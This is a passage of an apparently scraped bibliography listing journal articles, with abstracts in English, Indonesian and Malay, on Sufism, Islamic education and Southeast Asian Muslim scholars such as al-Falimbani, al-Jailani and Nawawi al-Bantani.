Abstract – Sheikh Abdul Al-Samad Al-Falimbani is a Sufi scholar from Palembang who is famous for his many writings, seminars, and public debates on the theme of Sufism. This article seeks to reveal some of the backgrounds of Sheikh Abdul al-Samad who is referred to as the "Worldly Known Scholar" in terms of genealogy, name, place of birth, educational background, work, teachers and students. His death was also highlighted. The research method is qualitative in nature from the library research type. It applies the method of documentation from library materials such as doctoral theses, scholars as well as articles, papers, journals, books and classic books related to Sheikh Abd al-Samad al-Falimbani. Abstrak - Syeikh Abdul Al-Samad Al-Falimbani adalah ulama Sufi yang berasal dari Palembang yang terkenal dalam banyak penulisan, seminar, dan perbahasan umum bagi tema Sufisme. Tulisan ini berusaha mengungkap beberapa latar belakang Syeikh Abdul al-Samad yang disebut sebagai “Ulama Yang Dikenali Seluruh Dunia” dalam aspek salasilah, nama, tempat kelahiran, latar belakang pendidikan, hasil karya, guru dan anak murid beliau. Kematian beliau turut diketengahkan. Kaedah kajian adalah bersifat kualitatif dari jenis kajian perpustakaan. Ia menerapkan kaedah dokumentasi dari bahan-bahan perpustakaan seperti tesis kedoktoran, sarjana dan juga artikel, kertas kerja, jurnal, buku dan kitab-kitab klasik berkait dengan Syeikh Abd al-Samad al-Falimbani.
APA, Harvard, Vancouver, ISO, and other styles
20

Mahya, Mimi Jamilah. "Konsep Kewalian Menurut Syeikh Abdul Qodir Al-jailani." Kordinat: Jurnal Komunikasi antar Perguruan Tinggi Agama Islam 20, no. 2 (October 5, 2021): 309–26. http://dx.doi.org/10.15408/kordinat.v20i2.22630.

Full text
Abstract:
In tasawwuf, sainthood is one of the most important topics, which sheikh ‘Abd Al-Qodir Al-Jailânî even considers indispensable to the term tasawwuf itself. Indonesian Muslims ascribe sainthood to those honourable religious figures of high rank and reputation. This article expounds the concept of sainthood according to sheikh ‘Abd Al-Qodir Al-Jailânî with special reference to his three books, Sir Al-Asrâr, Al-Fath Al-Robbanî and Futûh Al-Ghoib. The discussion includes conceptual definition, methods to reach sainthood rank/level, the saints’ characteristics, infallibility and knowledge of their own sainthood and others’ sainthood as well as their karômah.
APA, Harvard, Vancouver, ISO, and other styles
21

Musyaffa, Musyaffa. "PEMIKIRAN DAN GERAKAN DAKWAH SYEIKH NURUDDIN AR-RANIRY." Jurnal Ilmiah Syi'ar 18, no. 1 (February 2, 2018): 72. http://dx.doi.org/10.29300/syr.v18i1.1571.

Full text
APA, Harvard, Vancouver, ISO, and other styles
22

Adha, Bobi Syahri. "SEJARAH ISLAM DI KOTA BINTUHAN KECAMATAN KAUR SELATAN KABUPATEN KAUR." Tsaqofah dan Tarikh: Jurnal Kebudayaan dan Sejarah Islam 3, no. 2 (December 21, 2018): 111. http://dx.doi.org/10.29300/ttjksi.v3i2.1558.

Full text
Abstract:
Persoalan yang dikaji dalam skripsi ini, yaitu: pertama; Bagaimana sejarah masuknya Islam di Kota Bintuhan Kecamatan Kaur Selatan Kabupaten Kaur. Kedua; Apa saja jejak-jejak peninggalan Islam di Kota Bintuhan Kecamatan Kaur Selatan Kabupaten Kaur. Jenis penelitian historis (historical research) dengan menggunakan teknik bola salju (snowball) dalam menentukan informannya dan pengumpulan data menggunakan observasi, wawancara, dokumentasi dan rekaman. Hasil penelitian sebagai berikut: pertama; Sejarah masuknya Islam di Kota Bintuhan Kecamatan Kaur Selatan Kabupaten Kaur di bawa oleh seorang musafir Arab, bernama Sayid Ahmad bin Ali bin Syeikh Abu Bakar yang berasal dari Hadramaut, Yaman pada pertengahan abad ke-19 M di daerah Pasar Palembang (desa Air Dingin) yang sekarang dikenal dengan sebutan Kampung Masjid. Kedua; Adapun jejak-jejak peninggalan Islam di Kota Bintuhan Kecamatan Kaur Selatan Kabupaten Kaur, yakni berupa Makam Keluarga Habib Ahmad bin Ali bin Syeikh Abu Bakar terletak di desa Jembatan Dua, Makam Puyang Pinang Tawar di desa Pengubaian, Masjid Jamik Asy Syakiriin di Kampung Masjid desa Air Dingin, Masjid Tua Bandar di desa/Kelurahan Bandar, Dokumentasi Pondok Pesantren Mu’awatul Her School (MHS) yang di dapat dari H. Nuzuar Zahari Said di desa Air Dingin (Kampung Masjid), Sekolah Nahdlatul Ulama (NU) di simpang 3 (tiga) desa Pasar Lama dan yang terakhir buku lama/kitab berbahasa Arab dengan judul Penjelasan Berbagai Ilmu Dalam al-Qur’an milik Sayid Ahmad bin Ali bin Syeikh Abu Bakar.
APA, Harvard, Vancouver, ISO, and other styles
23

Kafrawi, Kafrawi. "Pemikiran Syekh Abdul Qadir Al-Jailani tentang Ma’rifat." AL-LIQO: Jurnal Pendidikan Islam 5, no. 01 (January 28, 2020): 78–96. http://dx.doi.org/10.46963/al.v5i01.146.

Full text
Abstract:
Syekh Abdul Qadir Al-Jailani adalah putra dari Abu Sholeh bin Musa bin Abdullah bin Yahya Al-Yazid bin Muhammad bin daud bin musa al-juwainy bin Abdullah al-Makhdli bin Hasan Al-Mutsanna bin Hasan bin Ali bin Abi Thalib ra dan Ibunya bernama Syarifah Fatimah binti Abdullah Al-Shoma’I bin Abu Jamaluddin bin Mahmud bin Thohir bin Abu Atho Abdillah bin Kamaluddin Isa bin Alauddin Muhammad Al-Jawwad bin Ali Al-Ridha bin Musa Kadzim bin Ja’far As-Shadiq bin Muhammad Al-Baqir bin Zainal Abiding bin Husain Al-Syahid binti Fatimah ra binti Rasulullah SAW. Ma’rifah adalah ketetapan hati dalam mempercayai hadirnya wujud yang wajib adanya Allah SWT yang menggambarkan segala kesempurnaannya. Ma’rifat terhadap dzat Allah SWT adalah mengetahui bahwa sesungguhnya Allah adalah wujud Esa, Tunggal dan sesuatu Yang Maha Agung, mandiri dengan sendiri-Nya dan tidak ada sesuatu pun yang menyamai-Nya. Sedangkan ma’rifat terhadap sifat Allah SWT adalah mengetahui dengan sesungguhnya bahwa Allah Maha hidup, Maha mengetahui, Maha kuasa, Maha mendengar, Maha melihat dengan segala sifat keparipurnaan-Nya. Dan akan tampak dalam hidupnya kalbu bersama Allah SWT. Rumusan masalah yaitu; Siap saja Guru-guru Syekh Abdul Qadir Al-Jailani, apa saja karya Syekh Abdul Qadir Al-Jailani, Gambaran ma’rifah secara umum serta, maqam untuk mencapai ma’rifah, konsep ma’rifat Syeikh Abdul Qadir Al-Jailani.
APA, Harvard, Vancouver, ISO, and other styles
24

Kafrawi, Kafrawi. "Pemikiran Syekh Abdul Qadir Al-Jailani tentang Ma’rifat." AL-LIQO: Jurnal Pendidikan Islam 5, no. 01 (January 28, 2020): 78–96. http://dx.doi.org/10.46963/alliqo.v5i01.146.

Full text
Abstract:
Syekh Abdul Qadir Al-Jailani adalah putra dari Abu Sholeh bin Musa bin Abdullah bin Yahya Al-Yazid bin Muhammad bin daud bin musa al-juwainy bin Abdullah al-Makhdli bin Hasan Al-Mutsanna bin Hasan bin Ali bin Abi Thalib ra dan Ibunya bernama Syarifah Fatimah binti Abdullah Al-Shoma’I bin Abu Jamaluddin bin Mahmud bin Thohir bin Abu Atho Abdillah bin Kamaluddin Isa bin Alauddin Muhammad Al-Jawwad bin Ali Al-Ridha bin Musa Kadzim bin Ja’far As-Shadiq bin Muhammad Al-Baqir bin Zainal Abiding bin Husain Al-Syahid binti Fatimah ra binti Rasulullah SAW. Ma’rifah adalah ketetapan hati dalam mempercayai hadirnya wujud yang wajib adanya Allah SWT yang menggambarkan segala kesempurnaannya. Ma’rifat terhadap dzat Allah SWT adalah mengetahui bahwa sesungguhnya Allah adalah wujud Esa, Tunggal dan sesuatu Yang Maha Agung, mandiri dengan sendiri-Nya dan tidak ada sesuatu pun yang menyamai-Nya. Sedangkan ma’rifat terhadap sifat Allah SWT adalah mengetahui dengan sesungguhnya bahwa Allah Maha hidup, Maha mengetahui, Maha kuasa, Maha mendengar, Maha melihat dengan segala sifat keparipurnaan-Nya. Dan akan tampak dalam hidupnya kalbu bersama Allah SWT. Rumusan masalah yaitu; Siap saja Guru-guru Syekh Abdul Qadir Al-Jailani, apa saja karya Syekh Abdul Qadir Al-Jailani, Gambaran ma’rifah secara umum serta, maqam untuk mencapai ma’rifah, konsep ma’rifat Syeikh Abdul Qadir Al-Jailani.
APA, Harvard, Vancouver, ISO, and other styles
25

Zainol, Nur Zainatul Nadra. "MODEL TAHAQQUH DALAM TAZKIYAH AL-NAFS OLEH SAID HAWWA BAGI MERAWAT JIWA MUSLIM." PERADA 2, no. 2 (December 19, 2019): 115–26. http://dx.doi.org/10.35961/perada.v2i2.36.

Full text
Abstract:
Tazkiyah al-nafs ialah suatu kaedah pendidikan jiwa seseorang manusia yang berbentuk penyucian dalaman dan pembentukan luaran supaya dapat mengekang kemahuan dan sifat buruk yang membawa kepada ketidaksihatan mental dan kecelaruan tingkah laku. Tokoh-tokoh tasawuf telah memperkenalkan kaedah dalam penyucian jiwa antaranya Syeikh Sa’id Hawwa yang memperjelaskan lagi kaedah Imam al-Ghazali dalam penyucian jiwa. Artikel ini bertujuan untuk menganalisis pendekatan tahaqquq yang diketengahkan oleh Syeikh Sa’id Hawwa dalam kaedah tazkiyah al-nafs. Kajian ini adalah kajian kualitatif dengan reka bentuk analisis kandungan. Hasil kajian menunjukkan Sheikh Said Hawwa telah mengetengahkan proses dan peringkat tahaqquq dalam kaedah tazkiyah al-nafs yang berupaya mendidik jiwa manusia supaya terhindar daripada ketidaksihatan mental dan kecelaruan jiwa dengan sifat-sifat mazmumah. Kajian ini dapat menjelaskan model komprehensif tahaqquq dalam kaedah penyucian jiwa berlandaskan al-Quran dan al-sunnah.
APA, Harvard, Vancouver, ISO, and other styles
26

Wirman, Eka Putra. "SYEKH AHMAD KHATIB AL-MINANGKABAWI; ICON THOLABUL ILMI MINANGKABAU MASA LALU UNTUK REFLEKSI SUMATERA BARAT HARI INI DAN MASA DEPAN." Jurnal Ulunnuha 6, no. 2 (August 5, 2019): 161–75. http://dx.doi.org/10.15548/ju.v6i2.598.

Full text
Abstract:
Salah satu tokoh Minangkabau yang menonjol di bidang keislaman adalah Syeikh Ahmad Khatib al-Minangkabawi. Selain sebagai ulama kaliber internasional, beliau juga telah melahirkan murid-murid yang kemudian menjadi ulama dan tokoh penting pergerakan Islam dan sosial di Asia Tenggara. Dua organisasi sosial-keagamaan yang terbesar di Indonesia yaitu Muhammadiyah dan Nahdlatul Ulama didirikan oleh murid-murid Syeikh Ahmad Khatib. Ulama besar ini dikenal pula dengan semangat berdiskusi secara objektif dengan orang-orang yang tidak satu pemahaman dengan beliau tanpa terganggunya hubungan silaturrahim antara mereka. Keberadaan tokoh besar yang lahir di Minangkabau ini boleh jadi menghilang sedikit demi sedikit dari memori umat Islam, oleh karena itu perlu dilakukan eksplorasi terus menerus terhadap perjalanan hidup, perjuangan dan karya ilmiah yang telah dilakukan. Tulisan ini merupakan salah satu upaya untuk menjaga, melestarikan dan mengembangkan pemikiran dan karya a Sheikh Ahmad Khatib al-Minangkabawi.
APA, Harvard, Vancouver, ISO, and other styles
27

Defani Suti, Eva, Eko Surbianto, and Khambali. "Adab dalam Menuntut Ilmu Menurut Perspektif Syeikh Muhammad Syakir dalam Kitab Washoya Al Abaa’ Lil Abnaa." Bandung Conference Series: Islamic Education 2, no. 2 (August 1, 2022): 401–7. http://dx.doi.org/10.29313/bcsied.v2i2.3572.

Full text
Abstract:
Abstract. The Indonesian nation is currently reaching its peak in facing various educational problems, especially the decline of morals and the loss of adab. Adab can be interpreted as a reflection of a person's good or bad. The word adab is usually addressed specifically to pupils. Students are defined as people who want to gain knowledge. Science is a knowledge that can provide instructions for a person to understand between right and wrong, as well as the provision of man to obtain salvation and well-being both in the world and in the hereafter. Based on this phenomenon, the problem in this study is formulated as follows: "Who is Sheikh Muhammad Syakir?" And "How is the adab of students in studying according to the perspective of Sheikh Muhammad Syakir in the Book of Washoya Al-Abaa' lil Abnaa?". This type of research is Library Research (literature research). The data collection technique used in this study is a document related to the studying adab to Sheikh Muhammad Syakir. Meanwhile, the data analysis technique uses a content analysis method related to primary data and secondary data. The results of the study were: 1) Sheikh Muhammad Syakir was a great scholar whose one of his works was the book of Washoya Al-Abaa' lil Abnaa. 2) Adab studied in the book of Washoya Al-Aba‟ Lil Abna by Sheikh Muhammad Syakir is a commendable part of morals that must be possessed by students in studying so that it is facilitated, launched, and useful for the knowledge they have gained. Abstrak. Bangsa Indonesia saat ini mencapai puncak dalam menghadapi berbagai permasalahan pendidikan, khususnya kemerosotan akhlak dan hilangnya adab. Adab dapat dimaknai sebagai cerminan dari baik buruknya seseorang, terhormat atau tercelanya nilai seseorang, mulia atau hinanya seseorang. Kata adab biasanya ditujukan khusus kepada murid. Murid diartikan sebagai orang yang menghendaki untuk mendapatkan ilmu pengetahuan. Ilmu adalah sebuah pengetahuan yang bisa memberikan petunjuk bagi seseorang untuk memahami antara yang benar dan yang salah. Berdasarkan fenomena tersebut, maka permasalahan dalam penelitian ini dirumuskan sebagai berikut: “Siapakah Syeikh Muhammad Syakir itu?” Dan “Bagaimana adab murid dalam menuntut ilmu menurut perspektif Syeikh Muhammad Syakir dalam Kitab Washoya Al-Abaa’ lil Abnaa?”. Jenis penelitian ini merupakan penelitian Library Research (penelitian kepustakaan). Teknik pengumpulan data yang dipakai dalam penelitian ini adalah dokumen yang berkenaan dengan adab menuntut ilmu menurut Syeikh Muhammad Syakir. Sedangkan teknik analisis datanya menggunakan metode analisis isi (content analysis) yang berkaitan dengan data primer dan data sekunder. Hasil dari penelitian in: 1) Syeikh Muhammad Syakir adalah seorang ulama besar yang salah satu karyanya itu adalah kitab Washoya Al-Abaa’ lil Abnaa. 2) Adab menuntut ilmu dalam kitab Washoya Al-Aba‟ Lil Abna karya Syeikh Muhammad Syakir adalah bagian akhlak terpuji yang harus dimiliki oleh peserta didik dalam menuntut ilmu supaya dimudahkan, dilancarkan, serta bermanfaat ilmu yang diperolehnya.
APA, Harvard, Vancouver, ISO, and other styles
28

MOCHAMMAD SAHID, MUALIMIN, Amir Husin Mohd Nor, Azma Ab. Rahman, Muneer Ali Abdul Rab, Setiyawan Gunardi, Mahmoud Mohamed Ali, Fithriah Wardi, Nik Rahim Nik Wajis, and Mohamad Ikwan Hami. "Syeikh Ahmad Al-Khatib Al-Minangkabawi dan Pendiriannya Terhadap Pewarisan Harta Dalam Adat Minangkabau: Satu Kajian Perbandingan Dengan Isu Tanah Adat di Malaysia." Malaysian Journal of Syariah and Law 6, no. 1 (2018): 143–59. http://dx.doi.org/10.33102/mjsl.v6i1.109.

Full text
Abstract:
Syeikh Ahmad Al-Khatib Al-Minangkabawi merupakan seorang insan agung yang menjadi ikon ulama’ besar di Nusantara. Beliau bukan sahaja dihormati oleh masyarakat Minang dan Nusantara, malah juga disegani oleh seluruh masyarakat dunia khususnya penduduk Mekah pada awal abad ke-19 dan akhir abad ke-20. Ini berikutan kedudukan beliau sebagai Imam dan Khatib Mazhab Syafi’ie dan Mufti Syafi’iyyah yang dilantik sebagai rujukan umat berkenaan hukum-hakam yang menjadi pertikaian di kalangan ulama’ tempatan semasa beliau berkhidmat. Berkaitan isu pembahagian harta pusaka dalam amalan adat Minangkabau, Syeikh Ahmad Al-Khatib Al-Minangkabawi mempunyai pandangan yang berbeza dengan ulama’ lain. Pendirian inilah yang mengakibatkan beliau mengambil keputusan untuk meninggalkan tanah airnya sendiri dan bermastautin di Mekah sebagai satu tanda protes tidak bersetuju dengan amalan pembahagian harta pusaka di kalangan masyarakat Minang. Mengikut amalan adat, pembahagian harta pusaka dalam masyarakat Minang diagihkan berdasarkan jurai keturunan sebelah perempuan yang dikenali sebagai sistem matrilineal. Beliau berpendapat amalan ini bercanggah dengan hukum Allah yang mensyariatkan umat Islam supaya mematuhi hukum syarak dengan menggunakan Faraid sebagai penyelesaian terhadap isu pembahagian harta pusaka. Menerusi kaedah analisa dan perbandingan, artikel ini akan membincangkan tokoh agamawan terkenal ini dan hujah-hujah serta alasan pendirian beliau berkenaan isu pembahagian harta pusaka dalam amalan adat masyarakat Minangkabau. Selain itu kajian ini juga akan menganalisa pandangan tersebut dan membuat perbandingan dengan pembahagian harta pusaka (tanah adat) yang diamalkan masyarakat adat Perpatih di Malaysia. Hasil kajian mendapati pandangan Syeikh Khatib al-Minangkabawi Syeikh menjadi satu rujukan kepelbagaian pandangan fiqh tentang hukum pewarisan di kalangan masyarakat adat Minang. Ramai kalangan yang tidak bersetuju dengan pandangan beliau, namun tidak sedikit juga yang mengambilnya kerana hujah dan alasan yang dikemukakan. Walaubagaimanapun, kalangan ulama yang mengharuskan perwarisan adat Minang menjelaskan bahawa keharusan perwarisan ini adalah berdasarkan kepada kategori harta yang diwariskan, iaitu harta pusaka yang berupa pusaka tinggi (tanah adat), kerana jenis harta ini adalah bukan hak milik mutlak kepada individu, tetapi ia adalah milik bersama suku di dalam masyakat adat. Oleh yang demikian, pembahagian warisan tanah adat sama ada dalam amalan adat Minang mahupun adat Perpatih adalah bertepatan dengan dalil syarak iaitu uruf atau adat.
APA, Harvard, Vancouver, ISO, and other styles
29

Pratama, Reza Zulki, Achmad Junaedi Sitika, and Lilis Karyawati. "Implementasi Nilai Dakwah Rasulullah Perspektif Syeikh Syafiyyurahman Al-Mubarak Furi pada Siswa SMP Islam As Syarif Sukatani Bekasi." Jurnal Intelektualita: Keislaman, Sosial dan Sains 9, no. 2 (October 26, 2020): 373–78. http://dx.doi.org/10.19109/intelektualita.v9i2.6799.

Full text
Abstract:
Penelitian ini bertujuan untuk menerapkan nilai pendidikan dakwah Rasulullah SAW dan nilai pendidikan di SMP Islam As Syarif serta untuk mengetahui hasil yang ingin dicapai pada implementasi nilai pendidikan dakwah Rasulullah perspektif Syeikh Syafiyyurahman Al-Mubarak Furi pada SMP Islam As Syarif. Metode penelitian yang digunakan adalah penelitian kualitatif jenis deskriptif analisis dengan sumber data sekunder dan primer. Hasil penelitian ini menunjukkan bahwa 1) implementasi nilai pendidikan dakwah di SMP Islam As Syarif Sukatani diterapkan 4 aspek sifat rasul dengan guru menyampaikan empat perkara itu kepada siswa agar siswa meningkat tingkahya dalam 4 asfek dari nilai pendidikan dakwah Rasulullah yang pertama kejujuran, siswa selalu jujur didalam ucapan maupun tingkah laku; dan 2) hasil yang dicapai pada implementasi nilai pendidikan dakwah perspektif Syeikh Shafiyyurahman Al Mubarak Furi pada siswa SMP Islam As Syarif Sukatani Bekasi yaitu adanya perubahan sikap pada siswa dengan akhlak yang baik.
APA, Harvard, Vancouver, ISO, and other styles
30

Patmawati, Patmawati, and Elmansyah Elmansyah. "EKSISTENSI TASAWUF DI KALIMANTAN BARAT: KAJIAN TERHADAP PERKEMBANGAN TAREKAT." Handep: Jurnal Sejarah dan Budaya 3, no. 1 (December 10, 2019): 75–100. http://dx.doi.org/10.33652/handep.v3i1.56.

Full text
Abstract:
Tulisan yang membahas tentang eksistensi tasawuf di Kalimantan Barat cenderung bersifat parsial. Oleh karena itu, tulisan ini akan mengungkap eksistensi tasawuf di seluruh wilayah Kalimantan Barat melalui perkembangan tarekat di berbagai daerah. Tulisan ini dikerjakan menggunakan metode penelitian kualitatif dengan pendekatan deskriptif. Hasil penelitian menyimpulkan sebagai berikut: 1) tasawuf pertama kali teridentifikasi sejak datangnya Syeikh Hussein al-Qadri di Negeri Matan, Ketapang; 2) tasawuf eksis sejak murid-murid Syeikh Ahmad Khatib Sambas pulang dari haji dan mengajarkan Tarekat Qadiriyah wa Naqsyabandiyah; 3) tasawuf berkembang di Kalimantan Barat dalam bentuk tarekat, antara lain Tarekat Naqsyabandiyah Muzhariyah, Tarekat Haq Naqsyabandiyah, Tarekat Al-Mu’min, Tarekat Shiddiqiyah, dan Tarekat Sammaniyah; 4) keberadaan tarekat-tarekat di Kalimantan Barat dapat dilihat melalui kondisi kehidupan beragama masyarakat, yaitu diterimanya Islam dengan baik di masyarakat yang sebelumnya sudah beragama dan Islamisasi budaya leluhur yang masih berkembang dengan tanpa mengurangi nilai-nilai budaya yang ada.
APA, Harvard, Vancouver, ISO, and other styles
31

Ilyas, M. Azizzullah. "Ajaran Syeikh Nawawi al-Bantani Tentang Pendidikan Akhlak Anak." AR-RIAYAH : Jurnal Pendidikan Dasar 2, no. 2 (January 22, 2019): 113. http://dx.doi.org/10.29240/jpd.v2i2.659.

Full text
Abstract:
Cultural and technological developments have an effect on children, positive and negative effects, these developments also effect in children's morality toward his parents. This erosion of moral values is interesting to study. We tried to see the moral values through the teachings of Sheikh Nawawi al-Bantani, a classical Indonesian scholar, his teachings goals and relevance for contemporary education. This research is a qualitative research by analyzing the main sources of Tafsir Marahil labid and Maraqi Ubudiyah Syarah Bidayah Hidayah. This study concludes that the teachings of Sheikh Nawawi Al-Bantani lead to the form of moral competence that does not stop at morality at the level of cognition and emotion, but rather integrates it with moral actions. His teachings combine adherence to God and devotion to parents as two things that cannot be separated but still make obedience to God as the main foundation
APA, Harvard, Vancouver, ISO, and other styles
32

A. Ghani, Abd Rahman, Moh Suryadi Syarif, and Jeanne Francoise. "IDE PEMIKIRAN MODERNISME SYEIKH MOHAMMAD ABDUH DALAM PEMBENTUKAN MUHAMMADIYAH." Jurnal PGSD 6, no. 2 (December 17, 2020): 26–35. http://dx.doi.org/10.32534/jps.v6i2.1536.

Full text
Abstract:
Ontologically, Muhammadiyah is not only a foundation, but an idea of ??a modern Islamic movement and a respected Islamic community in Indonesia. Epistemologically, Muhammadiyah's modern Islamic thought is manifested in the field of education, by including the national curriculum. Then axiologically, Muhammadiyah not only educates Muslims, but also internalizes aspects of peace and progress for the entire Indonesian nation, so that a Muhammadiyah cadre is expected to become a form of peace itself. This article will describe in more depth Muhammadiyah as a modern educational institution. To analyze this, this paper uses Syeikh Muhammad Abduh's modern Islamic thinking and Muhammadiyah's unique values. The research was conducted using qualitative research methods through literature study. The research findings are about the relationship between Muhammad Abduh's ideas of Islamic modernism which influenced K.H. Ahmad Dahlan to form Muhammadiyah, and how these ideas will continue to be updated along with the times. This paper is expected to add to the wealth of insights about Muhammadiyah and can be a reference for further research for cadres of teachers and lecturers in the academic environment of Prof. Dr. HAMKA (UHAMKA). Keywords: Muhammadiyah; Indonesia; Pancasila; Uhamka; Abduh
APA, Harvard, Vancouver, ISO, and other styles
33

Nasir, Muhammad, Marudin Marudin, and Khalilurrahman Khalilurrahman. "Etika Terapan dalam Menuntut Ilmu Perspektif Syeikh Az-Zarnuji." Al Qalam: Jurnal Ilmiah Keagamaan dan Kemasyarakatan 16, no. 6 (January 16, 2023): 2440. http://dx.doi.org/10.35931/aq.v16i6.1471.

Full text
Abstract:
<p><em>Etika dalam menuntut ilmu bagi seorang muslim harus harus bersumber dari kajian etika Islam. Oleh karena itu, penuntut ilmu harus memahami bagaimana etika Islam mengaturnya. Penelitian ini menggunakan metode studi kepustakaan (library research) dengan fokus kajiannya adalah etika terapan dalam menuntut ilmu perspektif Syiekh Az-Zarnuji dalam kitab Ta’lim Al-Muta’allim. Hasil penelitian menunjukkan bahwa perspektif Syiekh Az-Zarnuji tentang etika terapan dalam menuntut ilmu yaitu; 1) </em><em>e</em><em>tika </em><em>i</em><em>ndividual seorang penuntut ilmu </em><em>adalah</em><em>; memahami kewajiban menuntut ilmu, niat menuntut ilmu, memilih ilmu yang akan dipelajari, tekun dalam menuntut ilmu, kesungguhan belajar untuk mengapai cita-cita, memulai mengaji, ukuran dan urutannya, tawakkal kepada </em><em>A</em><em>llah</em><em> SWT, 2) e</em><em>tika </em><em>s</em><em>osial yang harus dimiliki penuntut ilmu </em><em>adalah</em><em> memilih guru, menghormati ilmu dan ahli ilmu, kasih sayang dan saling menasehati, memilih kawan</em><em> yang baik</em><em> dalam menuntut ilmu</em><em>, 3) e</em><em>tika lingkungan hidup yang harus dimiliki seorang penuntut ilmu adalah menjaga kebersihan lingkungan belajar aga menjadi indah dan sehat.</em><em></em></p>
APA, Harvard, Vancouver, ISO, and other styles
34

Yusutria, Yusutria. "Peran Syeikh dalam Pembentukan Karakter Generasi Ranah Minangkabau Sumatera Barat di Lembaga Pendidikan Surau." JIE (Journal of Islamic Education) 6, no. 1 (April 9, 2021): 73. http://dx.doi.org/10.29062/jie.v6i1.208.

Full text
Abstract:
A good nation is a nation that has a character that is manifested in thoughts, feelings, attitudes, behaviors, and configurations that are based on religious, legal, customary, religious, and cultural values. Not a drug addict, which will damage the morals of religion and culture. To realize a generation of character, the role of the Syeikh is needed in the formation of the character of the generation of the Minangkabau realm of West Sumatra in the Surau educational institution. The purpose of the study is to study the character shape of students, the role of the Syeikh in character formation. As a result of research, research is conducted by collecting data through interviews, observation, documentation. While the forms of character instilled religious values, discipline, honesty, independence is hard work full of creativity, curiosity with the full sense of responsibility. Sheikh managed to become a good character, instilling good and responsible habits, encouraging and innovating.
APA, Harvard, Vancouver, ISO, and other styles
35

Yusutria, Yusutria. "Peran Syeikh dalam Pembentukan Karakter Generasi Ranah Minangkabau Sumatera Barat di Lembaga Pendidikan Surau." JIE (Journal of Islamic Education) 6, no. 1 (April 9, 2021): 73. http://dx.doi.org/10.52615/jie.v6i1.208.

Full text
Abstract:
A good nation is a nation that has a character that is manifested in thoughts, feelings, attitudes, behaviors, and configurations that are based on religious, legal, customary, religious, and cultural values. Not a drug addict, which will damage the morals of religion and culture. To realize a generation of character, the role of the Syeikh is needed in the formation of the character of the generation of the Minangkabau realm of West Sumatra in the Surau educational institution. The purpose of the study is to study the character shape of students, the role of the Syeikh in character formation. As a result of research, research is conducted by collecting data through interviews, observation, documentation. While the forms of character instilled religious values, discipline, honesty, independence is hard work full of creativity, curiosity with the full sense of responsibility. Sheikh managed to become a good character, instilling good and responsible habits, encouraging and innovating.
APA, Harvard, Vancouver, ISO, and other styles
36

Tabroni, Imam, and Jajang Dodi. "Family Education in The Book 'Uqūd Al-Lujjain fῙ Bayani Huqūqi Al-Zaujain." Muttaqien; Indonesian Journal of Multidiciplinary Islamic Studies 3, no. 1 (January 30, 2022): 55–66. http://dx.doi.org/10.52593/mtq.03.1.04.

Full text
Abstract:
Building a family that is calm, harmonious, and full of love or in accordance with the guidance of the al-Qur'an and the Sunnah of the Prophet Muhammad is a dream for every Muslim married couple in a household. The family always adheres to the teachings of Islam to navigate the essential life. The purpose of this research is to find out the concept of education in the family in an Islamic way through the work of the thoughts of Nawawi in the book 'Uqud Al Lujjayn Fiy Bayaani Huquuqi Al Zaujayyn, related to its relevance to the concept of education in families at this time. The purpose of this research is to find out the concept of education in the family in an Islamic way through the work of the thoughts of Syeikh Nawawi Al-Bantani in the book 'Uqud Al Lujjayn Fiy Bayaani Huquuqi Al Zaujayyn, related to its relevance to the concept of education in families at this time. The results of his research, the concept of Islamic education in the family by the thought of Syeikh Nawawi Al-Bantani in the book “Uqud Al Lujjayn Fiy Bayaani Huquuqi Al Zaujayyn” is still very relevant as a reference for education in the family at this time, in order to create a sakinah family, mawaddah, warahmah, in accordance with the guidance of the al-Qur'an and the Sunnah of the Prophet Muhammad. Syeikh Nawawi Al-Bantani's paradigm of thought which is spiritual, traditional, Sufistic with his distinctive belief in text sources (Al-Quran and Hadith) and non-text (large figures or scholars) according to Ahlu Sunnah Wal Jama'ah's understanding makes it unique, in the middle. the emergence of reformers and reformers of Islamic teachings in his time.
APA, Harvard, Vancouver, ISO, and other styles
37

TIHAMI, H. M. A. "TAKLIF DAN MUKALLAF MENURUT AL-SYEIKH MUHAMMAD NAWAWI AL-BANTANI." ALQALAM 14, no. 74 (October 29, 1998): 75. http://dx.doi.org/10.32678/alqalam.v14i74.439.

Full text
Abstract:
Allah SWT berfirman: "Tiadalah Aku ciptakan jin dan manusia kecuali untuk beribadah kepadaKu". Pada ayat itu Allah menyebut jin dan manusia bersama-sama, yang dinyatakan sebagai makhluk yang ditugasi untuk melakukan pengabdian (ibadah) kepadanya. Pernyataan dalam ayat itu mengandung arti bahwa manusia danjin adalah pihak yang terkena taklif untuk beribadah kepada Allah. Karena manusia dinyatakan menjadi mukallaf maka jin juga tentu mukallaf sebab, keduanya disebut bersama-sama dengan menggunakan kata sambung huruf wawu yang, menurut dalalah iqtiran kedudukan keduanya berarti sama.
APA, Harvard, Vancouver, ISO, and other styles
38

Rambe, Saparuddin. "TRADISI KEULAMAAN." Al-Ikhtibar: Jurnal Ilmu Pendidikan 6, no. 1 (October 23, 2019): 598–611. http://dx.doi.org/10.32505/ikhtibar.v6i1.602.

Full text
Abstract:
Hamzah Fansuri merupakan seorang tokoh tasawuf terkemuka Nusantara yang menganut tasawuf falsafi. Selain sebagai seorang sufi ia juga dikenal dengan seorang sastrawan, sehingga ajarannya banyak yang sampaikan dalam bentuk bait-bait puisi sastra. Ia mengikuti tasawuf yang dirintis oleh Syeikh Abd al-Qadir al-Jailani dengan tarekat Qadiriyah. Dalam bidang fikih, Hamzah Fansuri mengikuti Mazhab Syafi’i. Hamzah Fansuri dianggap sebagai pemikir dan pengembang paham wihdat al-wujud, hulul, dan ittihad. Karya-karya Syekh Hamzah Fansuri terbilang cukup banyak. Diduga sebagian dari karya tulis Hamzah Fansuri dan Syamsuddin al-Sumaterani menjadi korban pembakaran pada waktu para pengikut keduanya mengalami hukuman bunuh, dan buku-buku yang mereka miliki dibakar di halaman Masjid Raya Baiturrahman, Banda Aceh. Pembunuhan keduanya dan pembakaran karya tulis mereka terjadi pada tahun 1637 M., yaitu tahun pertama dari kekuasaan Sultan Iskandar Tsani (1637-1641 M.), karena mereka tidak mau mengubah pendirian paham wahdat al-wujud-nya kendati Sultan telah berulangkali menyuruh keduanya untuk bertobat. Kata wujûd dalam paham wahdat al wujud terutama dan lebih khusus digunakan oleh Ibn al-‘Arabi untuk menyebut wujud Tuhan. satu- satunya wujud adalah wujud Tuhan; tidak ada wujud selain wujud-Nya.
APA, Harvard, Vancouver, ISO, and other styles
39

